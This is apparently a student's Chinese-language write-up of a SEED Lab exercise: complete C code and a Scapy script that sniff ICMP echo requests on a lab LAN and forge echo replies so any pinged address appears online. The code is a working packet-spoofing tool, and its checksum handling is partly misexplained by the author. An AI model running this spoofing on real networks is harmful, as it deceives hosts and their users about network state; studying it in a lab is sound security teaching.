Linux下的 sniff-andthen-spoof程式編寫
一、任務描述
在本任務中,您將結合嗅探和欺騙技術來實現以下嗅探然後欺騙程式。你需要兩臺機器在同一個區域網。從機器A ping IP_X,這將生成一個ICMP echo request包。如果主機IP_X存在,ping程式將收到一個echo reply,並列印出響應。您的嗅探然後欺騙程式在攻擊者的機器上執行,攻擊者通過嗅探包監視LAN。當它看到一個ICMP echo request時,不管目標IP地址是什麼,您的程式應該立即使用欺騙技術傳送一個echo reply。因此,無論IP_X是否存在,ping程式總是會收到一個答覆,表明主機X是線上。您需要用C語言編寫這樣一個程式,並在報告中包含螢幕截圖,以顯示您的程式是有效的。請在你的報告中附上程式碼(有足夠數量的註釋)。
這其實是SEED Lab的一個實驗,可以在官網上找到。 SEED Lab: Packet Sniffing and Spoofing Lab
二、實現思路
ping一個IP地址其實是傳送的ICMP Echo request包,所以我們需要先實現一個能抓到同一個區域網的ICMP Echo request包的嗅探程式程式碼。然後利用抓到的包,進行一定方式的偽造技術,構造一個ICMP echo reply包傳送給受害主機,以達到欺騙目的。
1. 嗅探程式程式碼框架
- 實現流程
首先啟動pcap監聽網路卡,其次編譯BPF過濾器並設定過濾器,然後設定嗅探的處理函式,最後關閉嗅探器。
需要注意的是:根據BPF規則,我要設定filter的過濾規則。因為要偵測ICMP echo request包,所以設定欄位如下:"icmp[icmptype]==icmp-echo"
- 實現程式碼如下:
// sniff: capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
printf("get the pkt");
//*******************************************************************************
//implement spoofing code...
}
//主程式
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp[icmptype]==icmp-echo";
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name eth3.
// Students need to change "eth3" to the name found on their own
// machines (using ifconfig). The interface to the 10.9.0.0/24
// network has a prefix "br-" (if the container setup is used).
handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle);
// Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp);
// Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); //Close the handle
return 0;
}
2. 獲得所抓包的相關資料資訊
因為我們需要偽造資料包的reply包,所以我們首先要獲得request包中的資訊,並弄清楚它們。
// 獲得Ethernet、IP、icmp的頭資訊和payload及其長度資訊
struct ethheader *eth = (struct ethheader *)packet;
struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader));
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));
const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));
3. 偽造ICMP echo request包併傳送給受害主機
根據協議棧規則,我們需要逐級向下封裝資料包,即payload->icmp->ip。最後通過原生套接字程式設計把偽造IP資料包傳送給受害主機。
-
注意點
- 偽造這個IP資料包,一定要加上payload資料。我之前沒有加上payload,受害主機一直接收不到回覆,最後老師告訴我,如果不加上payload,受害主機可能不認偽造的資料包。
- 一定注意複製payload所用的函式是
memcpy()記憶體拷貝函式
。我之前使用的為strncpy()字串複製函式
,但是程式碼中所獲得的payload是一個指向字串的指標,所以我每次複製給偽造的payload都只有4位元組。我花費了大量時間在這,一直找不到原因,害,還是自己的C語言太菜了,連指標與字元陣列都搞不清了。 - ICMP頭需要計算checksum,而IP頭不用,具體原因我也不知道,如果大佬知道,請指點我一下。
-
實現程式碼如下
/*********************************************************
Step 1: Fill in the ICMP data field.
********************************************************/
char buffer[1500];
memset(buffer, 0, 1500);
char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
// copy the data_pkt payload to payload
memcpy(data, data_pkt, data_len);
/*********************************************************
Step 2: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)
(buffer + sizeof(struct ipheader));
icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
icmp->icmp_code = 0;
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
// Calculate the checksum for integrity
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));
/*********************************************************
Step 3: Fill in the IP header.
********************************************************/
struct ipheader *ip = (struct ipheader *) buffer;
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 64;
ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
ip->iph_protocol = IPPROTO_ICMP;
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct icmpheader)+ data_len);
printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip));
/*********************************************************
Step 4: Finally, send the spoofed packet
********************************************************/
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
printf("sock: %d\n", sock);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
三、程式全部程式碼
- myheader.h
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* IP? ARP? RARP? etc */
};
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
/* UDP Header */
struct udpheader
{
u_int16_t udp_sport; /* source port */
u_int16_t udp_dport; /* destination port */
u_int16_t udp_ulen; /* udp length */
u_int16_t udp_sum; /* udp checksum */
};
/* ICMP Header */
struct icmpheader {
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; //Checksum for ICMP Header and data
unsigned short int icmp_id; //Used for identifying request
unsigned short int icmp_seq; //Sequence number
};
/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/* Psuedo TCP header */
struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[1500];
};
- sniff-andthen-spoof.c
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>
#include "myheader.h"
// ICMP checksum caculation
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}
// capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
// get ethernet, ip, icmp, payload pkt sniffed pkt
struct ethheader *eth = (struct ethheader *)packet;
struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader));
struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));
const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));
//***************spoofing the pkt*****************************************
/*********************************************************
Step 1: Fill in the ICMP data field.
********************************************************/
char buffer[1500];
memset(buffer, 0, 1500);
char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
// copy the data_pkt to data
memcpy(data, data_pkt, data_len);
/*********************************************************
Step 2: Fill in the ICMP header.
********************************************************/
struct icmpheader *icmp = (struct icmpheader *)
(buffer + sizeof(struct ipheader));
icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
icmp->icmp_code = 0;
icmp->icmp_id = icmp_pkt->icmp_id;
icmp->icmp_seq = icmp_pkt->icmp_seq;
// Calculate the checksum for integrity
icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));
/*********************************************************
Step 3: Fill in the IP header.
********************************************************/
struct ipheader *ip = (struct ipheader *) buffer;
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 64;
ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
ip->iph_protocol = IPPROTO_ICMP;
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct icmpheader)+ data_len);
printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip));
/*********************************************************
Step 4: Finally, send the spoofed packet
********************************************************/
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
printf("sock: %d\n", sock);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp[icmptype]==icmp-echo";
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name eth3.
// Students need to change "eth3" to the name found on their own
// machines (using ifconfig). The interface to the 10.9.0.0/24
// network has a prefix "br-" (if the container setup is used).
handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle);
// Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp);
// Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); //Close the handle
return 0;
}
四、執行結果
結果如下圖所示。主機IP為10.9.0.6,向一個網路不存在的IP為1.2.3.4,ping命令,得到了回覆。向網路上存在的IP為8.8.8.8,也得到了回覆。
五、 補充:python寫法
python永遠的神,好簡單!!!!
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
print(pkt[IP].dst,pkt[IP].src)
send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/ICMP(type="echo-reply", id=pkt[ICMP].id, seq=pkt[ICMP].seq)/Raw(load=pkt[Raw].load))
pkt = sniff(iface='br-cbc1af37a44e', filter="icmp[icmptype]==icmp-echo",prn=print_pkt)